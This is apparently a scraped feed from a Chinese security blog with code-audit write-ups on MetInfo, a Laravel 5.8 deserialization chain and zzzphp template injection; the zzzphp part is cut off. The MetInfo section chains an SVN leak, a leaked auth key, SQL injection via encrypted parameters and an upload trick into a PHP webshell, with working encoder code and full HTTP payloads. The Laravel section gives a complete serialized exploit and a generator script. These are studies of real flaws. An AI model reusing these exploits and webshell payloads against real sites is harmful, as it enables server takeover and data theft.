<p>svn是一个开放源代码的版本控制系统，如果在网站中存在<code>.svn</code>目录，那么我们可以拿到网站的源代码，方便审计。关于svn泄露需要注意的是SVN 版本 >1.7 时，Seay的工具不能dump源码了。可以用@admintony师傅的脚本来利用 https://github.com/admintony/svnExploit/</p>
<p>在目标站中发现了<code>http://php.local/.svn/</code>目录泄露源代码，发现是metinfo cms，拿到了位于<code>config/config_safe.php</code>中的key，这个key起到了很大作用。</p>
<p>什么是key呢？为什么要有这个key呢？</p>
<p>在metinfo安装完成后，会在<code>config/config_safe.php</code>写入一个key，这个key是用来加密解密账户信息的，你可以在<code>app/system/include/class/auth.class.php</code>看到加解密算法。</p>
<p><img src="https://y4er.com/img/uploads/20190927220929.png" alt="20190927220929" /></p>
<p>可以看到加解密采用了<code>$this-&gt;auth_key.$key</code>作为盐值，<code>$key</code>默认为空，那么这个<code>$this-&gt;auth_key</code>在哪定义的呢？</p>
<p>config/config.inc.php:109</p>
<p><img src="/wp-content/uploads/2019/09/20190927221247.png" alt="20190927221247" /></p>
<p>有了这个key，我们可以自己针对性去加密解密程序密文。</p>
<p>有什么用呢？大部分的cms都会有全局参数过滤，而metinfo的全局过滤简直变态，我们很难直接从request中找到可用的sql<span class="wpcom_tag_link"><a href="/tags/%e6%b3%a8%e5%85%a5" title="注入" target="_blank">注入</a></span>，<strong>而加了密之后的参数一半不会再进行过滤了</strong>，我们可以找下可控的加密参数。</p>
<h1><span class="wpcom_tag_link"><a href="/tags/%e6%ad%a3%e5%88%99" title="正则" target="_blank">正则</a></span>匹配导致的注入</h1>
<p>全局搜索<code>$auth-&gt;decode</code>寻找可控的参数，并且不走过滤的。</p>
<p><img src="/wp-content/uploads/2019/09/20190927221832.png" alt="20190927221832" /></p>
<p>app/system/user/web/getpassword.class.php:93</p>
<pre><code class="language-php ">public function dovalid() {
    global $_M;
    $auth = load::sys_class('auth', 'new');
    $email = $auth->decode($_M['form']['p']);
    if(!is_email($email))$email = '';
    if($email){
        if($_M['form']['password']){
            $user = $this->userclass->get_user_by_email($email);
            if($user){
                if($this->userclass->editor_uesr_password($user['id'],$_M['form']['password'])){
                    okinfo($_M['url']['login'], $_M['word']['modifypasswordsuc']);
                }else{
                    okinfo($_M['url']['login'], $_M['word']['opfail']);
                }
            }else{
                okinfo($_M['url']['login'], $_M['word']['NoidJS']);
            }
        }
        require_once $this->view('app/getpassword_mailset',$this->input);
    }else{
        okinfo($_M['url']['register'], $_M['word']['emailvildtips2']);
    }
}
</code></pre>
<p>可以看到<code>$email</code>直接从<code>$_M['form']['p']</code>中经过<code>$auth-&gt;decode</code> <strong>解密</strong>获取，并没有进行过滤，然后在<code>get_user_by_email($email)</code>中代入数据库查询。但是经过了<code>is_email($email)</code>判断是否为正确的邮箱地址。</p>
<p>跟进app/system/include/function/str.func.php:26</p>
<pre><code class="language-php ">function is_email($email){
    $flag = true;
    $patten = '/[w-]+@[w-]+.[a-zA-Z.]*[a-zA-Z]$/';
    if(preg_match($patten, $email) == 0){
        $flag = false;
    }
    return $flag;
}
</code></pre>
<p>很正常的正则表达式，<strong>但是唯一缺少的是<code>^</code>起始符！</strong>那么我们构造如<code>' and 1=1-- 1@qq.com</code>也会返回true！</p>
<p>email要经过<code>$auth-&gt;decode</code>解密，这个时候我们的key就派上用场了，我们可以使用<code>$auth-&gt;encode()</code>来加密我们的payload传进去，构成注入。</p>
<p>将auth类自己搞一份出来。</p>
<pre><code class="language-php ">&lt;?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
    $ckey_length = 4;
    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for($i = 0; $i &lt;= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i &lt; 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i &lt; $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) &amp;&amp; substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    }else{
        return $keyc.str_replace('=', '', base64_encode($result));
    }
}

print_r(urlencode(authcode($_GET['p'],'ENCODE','cqQWPRhV91To7PmrI5Dd3FGIxjMQpLmt','0')));
</code></pre>
<p><img src="/wp-content/uploads/2019/09/20190927230507.png" alt="20190927230507" /></p>
<p>需要注意这个<code>123@qq.com</code>是你自己注册的用户，如果<code>met_user</code>表中不存在一条记录，是延时不了的。</p>
<p><img src="/wp-content/uploads/2019/09/20190927230659.png" alt="20190927230659" /></p>
<p>延时成功，你也可以构造布尔盲注，到此为止就是注入的部分，但是我们的目标是拿权限，一个注入就满足了？</p>
<h1>组合拳</h1>
<p>app/system/include/class/web.class.php:467 省略部分代码</p>
<pre><code class="language-php ">public function __destruct(){
    global $_M;
    //读取缓冲区数据
    $output = str_replace(array('&lt;!--&lt;!---->','&lt;!---->','&lt;!--fck-->','&lt;!--fck','fck-->','',&quot;r&quot;,substr($admin_url,0,-1)),'',ob_get_contents());
    ob_end_clean();//清空缓冲区
...
    if($_M['form']['html_filename'] &amp;&amp; $_M['form']['metinfonow'] == $_M['config']['met_member_force']){
        //静态页
        $filename = urldecode($_M['form']['html_filename']);
        if(stristr(PHP_OS,&quot;WIN&quot;)) {
            $filename = @iconv(&quot;utf-8&quot;, &quot;GBK&quot;, $filename);
        }
        if(stristr($filename, '.php')){
            jsoncallback(array('suc'=>0));
        }
        if(file_put_contents(PATH_WEB.$filename, $output)){
            jsoncallback(array('suc'=>1));
        }else{
            jsoncallback(array('suc'=>0));
        }
    }else{
        echo $output;//输出内容
    }
...
}
</code></pre>
<p>在前台基类web.class.php中有<code>__destruct</code>魔术方法，而在这个方法中使用<code>file_put_contents(PATH_WEB.$filename, $output</code>写入文件，其中<code>$output</code>是通过<code>ob_get_contents()</code>获取的缓冲区数据，而<code>$filename</code>是从<code>$_M['form']['html_filename']</code>拿出来的，我们可控。</p>
<p>但是有一个if条件<code>$_M['form']['metinfonow'] == $_M['config']['met_member_force']</code>，这个<code>met_member_force</code>在哪呢？在数据库里，我们可以通过刚才的注入拿到！</p>
<p><img src="/wp-content/uploads/2019/09/20190927232524.png" alt="20190927232524" /></p>
<p>那么我们现在的目的就变为怎么去控制<code>$output</code>也就是缓冲区的值。</p>
<blockquote><p>
  ob_start()在服务器打开一个缓冲区来保存所有的输出。所以在任何时候使用echo，输出都将被加入缓冲区中，直到程序运行结束或者使用ob_flush()来结束。
</p></blockquote>
<p>也就是说我们只要找到web.class.php或者继承web.class.php的子类中有可控的echo输出，配合刚才的注入便可以写入shell。</p>
<p>全局搜索<code>extends web</code>寻找子类，在子类中寻找可控echo输出，最终找到的是<code>app/system/include/module/uploadify.class.php</code>的doupfile()方法</p>
<pre><code class="language-php ">public function set_upload($info){
    global $_M;
    $this->upfile->set('savepath', $info['savepath']);
    $this->upfile->set('format', $info['format']);
    $this->upfile->set('maxsize', $info['maxsize']);
    $this->upfile->set('is_rename', $info['is_rename']);
    $this->upfile->set('is_overwrite', $info['is_overwrite']);
}
...
public function upload($formname){
    global $_M;
    $back = $this->upfile->upload($formname);
    return $back;
}
...
public function doupfile(){
    global $_M;
    $this->upfile->set_upfile();
    $info['savepath'] = $_M['form']['savepath'];
    $info['format'] = $_M['form']['format'];
    $info['maxsize'] = $_M['form']['maxsize'];
    $info['is_rename'] = $_M['form']['is_rename'];
    $info['is_overwrite'] = $_M['form']['is_overwrite'];
    $this->set_upload($info);
    $back = $this->upload($_M['form']['formname']);
    if($_M['form']['type']==1){
        if($back['error']){
            $back['error'] = $back['errorcode'];
        }else{
            $backs['path'] = $back['path'];

            $backs['append'] = 'false';
            $back = $backs;
        }
    }
    $back['filesize'] =  round(filesize($back['path'])/1024,2);
    echo jsonencode($back);
}
...
</code></pre>
<p>echo的$back变量是从<code>$_M['form']['formname']</code>取出来的，可控，向上推看back变量的取值由<code>$this-&gt;upfile-&gt;upload($formname)</code>决定，跟进。</p>
<pre><code class="language-php ">public function upload($form = '') {
    global $_M;
    if($form){
        foreach($_FILES as $key => $val){
            if($form == $key){
                $filear = $_FILES[$key];
            }
        }
    }
    if(!$filear){
        foreach($_FILES as $key => $val){
            $filear = $_FILES[$key];
            break;
        }
    }

    //是否能正常上传
    if(!is_array($filear))$filear['error'] = 4;
    if($filear['error'] != 0 ){
        $errors = array(
            0 => $_M['word']['upfileOver4'],
            1 => $_M['word']['upfileOver'],
            2 => $_M['word']['upfileOver1'],
            3 => $_M['word']['upfileOver2'],
            4 => $_M['word']['upfileOver3'],
            6 => $_M['word']['upfileOver5'],
            7 => $_M['word']['upfileOver5']
        );
        $error_info[]= $errors[$filear['error']] ? $errors[$filear['error']] : $errors[0];
        return $this->error($errors[$filear['error']]);
    }
    ...
    //文件大小是否正确{}
    if ($filear[&quot;size&quot;] > $this->maxsize || $filear[&quot;size&quot;] > $_M['config']['met_file_maxsize']*1048576) {
        return $this->error(&quot;{$_M['word']['upfileFile']}&quot;.$filear[&quot;name&quot;].&quot; {$_M['word']['upfileMax']} {$_M['word']['upfileTip1']}&quot;);
    }
    //文件后缀是否为合法后缀
    $this->getext($filear[&quot;name&quot;]); //获取允许的后缀
    if (strtolower($this->ext)=='php'||strtolower($this->ext)=='aspx'||strtolower($this->ext)=='asp'||strtolower($this->ext)=='jsp'||strtolower($this->ext)=='js'||strtolower($this->ext)=='asa') {
        return $this->error($this->ext.&quot; {$_M['word']['upfileTip3']}&quot;);
    }
    ...
}
</code></pre>
<p>省略部分代码</p>
<p>我们要看return回去的值就是back变量的值，所以重点关注return的东西看是否可控。</p>
<p>首先是正常foreach取出<span class="wpcom_tag_link"><a href="/tags/%e4%b8%8a%e4%bc%a0" title="上传" target="_blank">上传</a></span>文件的信息，然后判断是否能正常上传-文件大小是否正确-文件后缀是否为合法后缀，如果有错就return。到这里有两种思路。</p>
<h2>超出文件大小<span class="wpcom_tag_link"><a href="/tags/getshell" title="getshell" target="_blank">getshell</a></span></h2>
<p><img src="/wp-content/uploads/2019/09/20190927234118.png" alt="20190927234118" /></p>
<p>在后台中最大文件大小是8m，如果我们上传一个超出8m的文件，那么upload()函数就会<code>return $this-&gt;error(&amp;quot;{$_M['word']['upfileFile']}&amp;quot;.$filear[&amp;quot;name&amp;quot;].&amp;quot; {$_M['word']['upfileMax']} {$_M['word']['upfileTip1']}&amp;quot;);</code> 而这个<code>$filear[&amp;quot;name&amp;quot;]</code>是我们可控的，在foreach中赋值的。</p>
<p>那么这样我们就可以把<code>$filear[&amp;quot;name&amp;quot;]</code>改为shell，然后return回去，赋值给$back，echo进缓冲区，最后file_put_contents拿到shell，完美的利用链。</p>
<p>但是这个8m太大了，<strong>我们可以通过注入进后台把这个限制改为0.0008</strong></p>
<p>构造下payload，<strong>需要注意<code>metinfonow</code>参数是上文中从数据库中取出的<code>met_member_force</code></strong></p>
<pre><code class="language-http ">POST /admin/index.php?c=uploadify&amp;m=include&amp;a=doupfile&amp;lang=cn&amp;metinfonow=xwtpwmp&amp;html_filename=1.php HTTP/1.1
Host: php.local
Content-Length: 1120
Origin: http://php.local/
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary8tQiXReYsQYXHadW
Content-Disposition: form-data; name=&quot;test&quot;; filename=&quot;&lt;?php eval($_POST[1]);?>&quot;
Content-Type: image/jpeg

testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest
------WebKitFormBoundary8tQiXReYsQYXHadW--
</code></pre>
<p><img src="/wp-content/uploads/2019/09/20190927235251.png" alt="20190927235251" /></p>
<p><img src="/wp-content/uploads/2019/09/20190927235336.png" alt="20190927235336" /></p>
<p><img src="/wp-content/uploads/2019/09/20190927235402.png" alt="20190927235402" /></p>
<h2>无后缀getshell</h2>
<p>@mochazz师傅在先知上分享了一篇metinfo6.1.3的getshell，我自己测试在6.2.0中已经修复，不过还是提一下。</p>
<p>问题出在 app/system/include/class/upfile.class.php:139 getext()函数</p>
<p>如果不是合法后缀会<code>return $this-&gt;error($this-&gt;ext.&amp;quot; {$_M['word']['upfileTip3']}&amp;quot;)</code>，而<code>$this-&gt;ext</code>经过<code>getext()</code>函数，跟进</p>
<pre><code class="language-php ">protected function getext($filename) {
    if ($filename == &quot;&quot;) {
        return ;
    }
    $ext = explode(&quot;.&quot;, $filename);
    $ext = $ext[count($ext) - 1];
    return $this->ext = $ext;
}
</code></pre>
<p>直接<code>return $ext</code>，那么我们上传一个无后缀的文件，文件名写一句话就可以getshell</p>
<p><img src="/wp-content/uploads/2019/09/20190928000955.png" alt="20190928000955" /></p>
<p><img src="/wp-content/uploads/2019/09/20190928001104.png" alt="20190928001104" /></p>
<p>payload</p>
<pre><code class="language-http ">POST /admin/index.php?c=uploadify&amp;m=include&amp;a=doupfile&amp;lang=cn&amp;metinfonow=xwtpwmp&amp;html_filename=1.php HTTP/1.1
Host: php.local
Content-Length: 194
Origin: http://php.local/
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close

------WebKitFormBoundary8tQiXReYsQYXHadW
Content-Disposition: form-data; name=&quot;test&quot;; filename=&quot;&lt;?php phpinfo();?>&quot;
Content-Type: image/jpeg

test
------WebKitFormBoundary8tQiXReYsQYXHadW--
</code></pre>
<p>而在6.2.0中，加入了一行正则判断后缀，绕不过去，无法getshell</p>
<pre><code class="language-php ">protected function getext($filename) {
    if ($filename == &quot;&quot;) {
        return ;
    }
    $ext = explode(&quot;.&quot;, $filename);
    $ext = $ext[count($ext) - 1];
    if (preg_match(&quot;/^[0-9a-zA-Z]+$/u&quot;, $ext)) {
        return $this->ext = $ext;
    }
    return $this->ext = '';
}
</code></pre>
<h1>总结</h1>
<ol>
<li>svn泄露分版本</li>
<li>注册是邮件的正则匹配问题</li>
<li>参数加密一般不走全局过滤 找找注入</li>
<li>关注echo和ob_get_contents()函数 说不定能写shell呢</li>
</ol>
<p>参考链接</p>
<ol>
<li>https://nosec.org/home/detail/2436.html</li>
<li>https://xz.aliyun.com/t/4425</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Laravel v5.8.x Pop Chain</title>
		<link>/audit/843.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 22 Aug 2019 07:47:06 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[Laravel]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[pop]]></category>
		<guid isPermaLink="false">/?p=843</guid>

					<description><![CDATA[在@mochazz师傅的博客里看到了Laravel的反序列化pop链，记录一下。 环境准备 phpstudy php7.2.10 phpstorm composer 搭建环境 配置...]]></description>
										<content:encoded><![CDATA[<p>在@mochazz师傅的博客里看到了<span class="wpcom_tag_link"><a href="/tags/laravel" title="Laravel" target="_blank">Laravel</a></span>的反序列化<span class="wpcom_tag_link"><a href="/tags/pop" title="pop" target="_blank">pop</a></span>链，记录一下。</p>
<h1>环境准备</h1>
<ol>
<li>phpstudy</li>
<li>php7.2.10</li>
<li>phpstorm</li>
<li>composer</li>
</ol>
<h1>搭建环境</h1>
<h2>配置composer</h2>
<p><a href="https://mirrors.aliyun.com/composer/composer.phar">下载composer.phar</a> 放到php的目录下面，给php配置好环境变量。</p>
<p>在 <code>composer.phar</code> 同级目录下新建文件 <code>composer.bat</code> ：</p>
<pre><code class="language-sh ">D:phpStudyPHPTutorialphpphp-7.2.1-nts&gt; echo @php "%~dp0composer.phar" %*&gt;composer.bat
</code></pre>
<p>关闭当前的命令行窗口，打开新的命令行窗口进行测试：</p>
<pre><code class="language-sh ">C:UsersY4er&gt;composer -V
Composer version 1.9.0 2019-08-02 20:55:32
</code></pre>
<p>更换国内阿里源</p>
<pre><code class="language-bash ">composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
</code></pre>
<h2>配置项目</h2>
<p>创建laravel项目，注意选择版本</p>
<p><img src="https://y4er.com/img/uploads/20190822140805.png" alt="20190822140805" /></p>
<p>创建Demo控制器</p>
<pre><code class="">E:codephplaravel58&gt;php artisan make:controller DemoController
Controller created successfully.
</code></pre>
<p>配置路由</p>
<p>routes/web.php</p>
<pre><code class="language-php ">&lt;?php
use AppHttpControllersDemoController;

Route::get("/", "DemoController@demo");
</code></pre>
<p>添加 DemoController 控制器的demo方法，代码如下：</p>
<p><img src="/wp-content/uploads/2019/08/20190822142029.png" alt="20190822142029" /></p>
<pre><code class="language-php ">&lt;?php

namespace AppHttpControllers;

class DemoController extends Controller
{
    public function demo()
    {
        if (isset($_GET['c'])) {
            $code = $_GET['c'];
            unserialize($code);
        } else {
            highlight_file(__FILE__);
        }
        return "Welcome to laravel5.8";
    }
}
</code></pre>
<h1>pop链分析</h1>
<p>首先我们要知道 laravel 在反序列化<code>unserialize($code)</code>时，如果反序列化对象的类不存在，会尝试去自动加载这个类。</p>
<p>堆栈如下</p>
<pre><code class="language-php ">ClassLoader.php:444, ComposerAutoloadincludeFile()    //加载完之后包含类
ClassLoader.php:322, ComposerAutoloadClassLoader-&gt;loadClass() //加载类
DemoController.php:11, spl_autoload_call()  //对象类不存在 调用自动加载
DemoController.php:11, unserialize()        //反序列化传递过来的参数
DemoController.php:11, AppHttpControllersDemoController-&gt;demo()  //路由进入控制器
</code></pre>
<p>接着我们来看下整条pop链，@mochazz师傅的payload</p>
<pre><code class="language-http ">http://php.local/?c=O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A43%3A%22Illuminate%5CFoundation%5CConsole%5CQueuedCommand%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A37%3A%22PhpParser%5CNode%5CScalar%5CMagicConst%5CLine%22%3A0%3A%7B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A18%3A%22%3C%3Fphp+phpinfo%28%29%3B%3F%3E%22%3B%7D%7D%7D
</code></pre>
<p>用phpstorm打个断点来跟踪下。</p>
<p>整条pop链入口点利用的是类<code>IlluminateBroadcastingPendingBroadcast</code>的<code>__destruct</code>方法。</p>
<p><img src="/wp-content/uploads/2019/08/20190822143707.png" alt="20190822143707" /></p>
<p><code>$this-&gt;event</code>设置为<code>Dispatcher</code>类，然后进入<code>dispatch()</code>函数</p>
<p><code>vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php</code></p>
<p><img src="/wp-content/uploads/2019/08/20190822145626.png" alt="20190822145626" /></p>
<p>这里要满足if条件，看下<code>$this-&gt;commandShouldBeQueued($command)</code></p>
<pre><code class="language-php ">protected function commandShouldBeQueued($command)
{
    return $command instanceof ShouldQueue;
}
</code></pre>
<p>要$command实现<code>ShouldQueue</code>接口，找下</p>
<p><img src="/wp-content/uploads/2019/08/20190822150408.png" alt="20190822150408" /></p>
<p>@mochazz师傅用的是<code>IlluminateBroadcastingBroadcastEvent</code></p>
<p>然后进入<code>$this-&gt;dispatchToQueue($command)</code></p>
<p><img src="/wp-content/uploads/2019/08/20190822145801.png" alt="20190822145801" /></p>
<p>出现了<code>call_user_func</code>，这时候我们可以调用任意类的方法了，接下来寻找下可利用的类方法。</p>
<p>在类<code>MockeryLoaderEvalLoader</code>的<code>load</code>方法中有eval，并且参数可控。</p>
<p><img src="/wp-content/uploads/2019/08/20190822150655.png" alt="20190822150655" /></p>
<p>但是要绕过前面的if语句块，也就是让<code>class_exists($definition-&gt;getClassName(), false)</code>返回false。</p>
<pre><code class="language-php ">public function getClassName(){
    return $this-&gt;config-&gt;getName();
}
</code></pre>
<p>我们找一个含有<code>getName</code>方法且返回值可控的类，让其返回一个不存在的类名即可绕过if。</p>
<p><code>vendor/mockery/mockery/library/Mockery/Generator/MockConfiguration.php</code> 这个类中有</p>
<pre><code class="language-php ">public function getName()
{
    return $this-&gt;name;
}
</code></pre>
<p>最后进入到<code>eval("?&gt;" . $definition-&gt;getCode());</code>，</p>
<pre><code class="language-php ">public function getCode()
{
    return $this-&gt;code;
}
</code></pre>
<p><code>getCode()</code>依然可控，这个pop链就结束了。</p>
<h1>构造exp</h1>
<pre><code class="language-php ">&lt;?php

namespace IlluminateBroadcasting {
    class PendingBroadcast
    {
        protected $event;
        protected $events;

        public function __construct($events, $event)
        {
            $this-&gt;events = $events;
            $this-&gt;event = $event;
        }
    }
}

namespace IlluminateBus {
    class Dispatcher
    {
        protected $queueResolver;

        public function __construct($queueResolver)
        {
            $this-&gt;queueResolver = $queueResolver;
        }
    }
}

namespace IlluminateBroadcasting {
    class BroadcastEvent
    {
        public $connection;

        public function __construct($connection)
        {
            $this-&gt;connection = $connection;
        }
    }
}


namespace MockeryGenerator {
    class MockDefinition
    {
        protected $config;
        protected $code = '&lt;?php phpinfo();?&gt;';

        public function __construct($config)
        {
            $this-&gt;config = $config;
        }
    }
}

namespace MockeryGenerator {
    class MockConfiguration
    {
        protected $name = '1234';
    }
}

namespace MockeryLoader {
    class EvalLoader
    {
        public function load(MockDefinition $definition)
        {

        }
    }
}

namespace {
    $Mockery = new MockeryLoaderEvalLoader();
    $queueResolver = array($Mockery, "load");
    $MockConfiguration = new MockeryGeneratorMockConfiguration();
    $MockDefinition = new MockeryGeneratorMockDefinition($MockConfiguration);
    $BroadcastEvent = new IlluminateBroadcastingBroadcastEvent($MockDefinition);
    $Dispatcher = new IlluminateBusDispatcher($queueResolver);
    $PendingBroadcast = new IlluminateBroadcastingPendingBroadcast($Dispatcher, $BroadcastEvent);
    echo urlencode(serialize($PendingBroadcast));
}
?&gt;
</code></pre>
<h1>参考链接</h1>
<ol>
<li><a href="https://mochazz.github.io/2019/08/05/Laravel5.8.x反序列化链/#POP链1">Laravel5.8.x反序列化链</a></li>
<li><a href="https://xz.aliyun.com/t/5866">Laravel mockery组件反序列化POP链分析</a></li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>zzzphp 远程代码执行审计</title>
		<link>/audit/841.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 21 Aug 2019 15:33:57 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[rce]]></category>
		<guid isPermaLink="false">/?p=841</guid>

					<description><![CDATA[又看到了cnvd中的一个有趣的洞！ zzzphp zzzphp是一款php语言开发的免费建站系统，以简单易上手的标签、安全的系统内核、良好的用户体验为特点，是站长建站的最佳选择。 ...]]></description>
										<content:encoded><![CDATA[<p>又看到了cnvd中的一个有趣的洞！</p>
<h1>zzzphp</h1>
<blockquote><p>
  zzzphp是一款php语言开发的免费建站系统，以简单易上手的标签、安全的系统内核、良好的用户体验为特点，是站长建站的最佳选择。
</p></blockquote>
<p>晚上8点，做完作业发现cnvd报了一个<a href="https://www.cnvd.org.cn/flaw/show/CNVD-2019-21998">命令执行</a>，本着两天不看代码看不懂的精神赶紧再来看下审计。</p>
<h1>产生原因</h1>
<p>zzzphp的模板是通过自写函数来进行解析的，过滤参数不严谨导致可以执行任意php代码。</p>
<h1>漏洞分析</h1>
<p>程序入口<code>index.php</code>引入<code>require 'inc/zzz_client.php';</code></p>
<p>E:\code\php\zzzphp\inc\zzz_client.php:56</p>
<pre><code class="language-php "> require 'zzz_template.php';
 if (conf('webmode')==0) error(conf('closeinfo'));
 $location=getlocation();
</code></pre>
<p>引入模板解析类并通过<code>getlocation()</code>使url和模板关联起来。</p>
<p>91行：当访问<code>http://127.0.0.1/search/</code> 时使用search模板</p>
<pre><code class="language-php ">case 'search':
    $tplfile= TPL_DIR . 'search.html'; 
</code></pre>
<p>157行</p>
<pre><code class="language-php ">$parser = new ParserTemplate();
$zcontent = $parser-&gt;parserCommom($zcontent); // 解析模板
</code></pre>
<p>实例化解析模板类，调用<code>parserCommom()</code>方法，跟进</p>
<p>inc/zzz_template.php</p>
<pre><code class="language-php ">public function parserCommom($zcontent)
    {
        $zcontent = $this-&gt;parserSiteLabel($zcontent); // 站点标签
        $zcontent = $this-&gt;ParseInTemplate($zcontent); // 模板标签
        $zcontent = $this-&gt;parserConfigLabel($zcontent); //配置表情
        $zcontent = $this-&gt;parserSiteLabel($zcontent); // 站点标签
        $zcontent = $this-&gt;parserCompanyLabel($zcontent); // 公司标签
        $zcontent = $this-&gt;parserUser($zcontent); //会员信息
        $zcontent = $this-&gt;parserlocation($zcontent); // 站点标签
        $zcontent = $this-&gt;parserLoopLabel($zcontent); // 循环标签      
        $zcontent = $this-&gt;parserContentLoop($zcontent); // 指定内容
        $zcontent = $this-&gt;parserbrandloop($zcontent);
        $zcontent = $this-&gt;parserGbookList($zcontent);
        $zcontent = $this-&gt;parserLabel($zcontent); // 指定内容
        $zcontent = $this-&gt;parserPicsLoop($zcontent); // 内容多图
        $zcontent = $this-&gt;parserad($zcontent);
        $zcontent = parserPlugLoop($zcontent);
        $zcontent = $this-&gt;parserOtherLabel($zcontent);
        $zcontent = $this-&gt;parserIfLabel($zcontent); // IF语句
        $zcontent = $this-&gt;parserNoLabel($zcontent);
        return $zcontent;
    }
</code></pre>
<p>可以看到这些是zzzphp模板解析，并且使用了自定义模板语句，跟进<code>$this-&gt;parserIfLabel()</code>函数</p>
<pre><code class="language-php ">public function parserIfLabel($zcontent)
{
    $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
    if (preg_match_all($pattern, $zcontent, $matches)) {
        $count = count($matches[0]);
        for ($i = 0; $i &lt; $count; $i++) {
            $flag = '';
            $out_html = '';
            $ifstr = $matches[1][$i];
            $ifstr = danger_key($ifstr);
            $ifstr = str_replace('=', '==', $ifstr);
            $ifstr = str_replace('&lt;&gt;', '!=', $ifstr);
            $ifstr = str_replace('or', '||', $ifstr);
            $ifstr = str_replace('and', '&amp;&amp;', $ifstr);
            $ifstr = str_replace('mod', '%', $ifstr);
            //echop( $ifstr);
            @eval('if(' . $ifstr . '){$flag="if";}else{$flag="else";}');
            ... 省略
            return $zcontent;
        }
    }
}
</code></pre>
<p>看到了eval函数，并且有变量<code>$ifstr</code>，如果它可控，那么我们就可以执行任意代码。</p>
<p>看下他是怎么过滤的，<code>preg_match_all</code>匹配正则，要满足以下格式</p>
<pre><code class="language-php ">{if:条件}
代码
{end if}
</code></pre>
<p>然后经过一个<code>danger_key()</code>函数，跟进</p>
<p>inc/zzz_main.php</p>
<pre><code class="language-php ">function danger_key( $s , $len=255) {
    $danger=array('php','preg','server','chr','decode','html','md5','post','get','cookie','session','sql','del','encrypt','upload','db','$','system','exec','shell','popen','eval');   
    $s = str_ireplace($danger,"*",$s);
    return $s;
}
</code></pre>
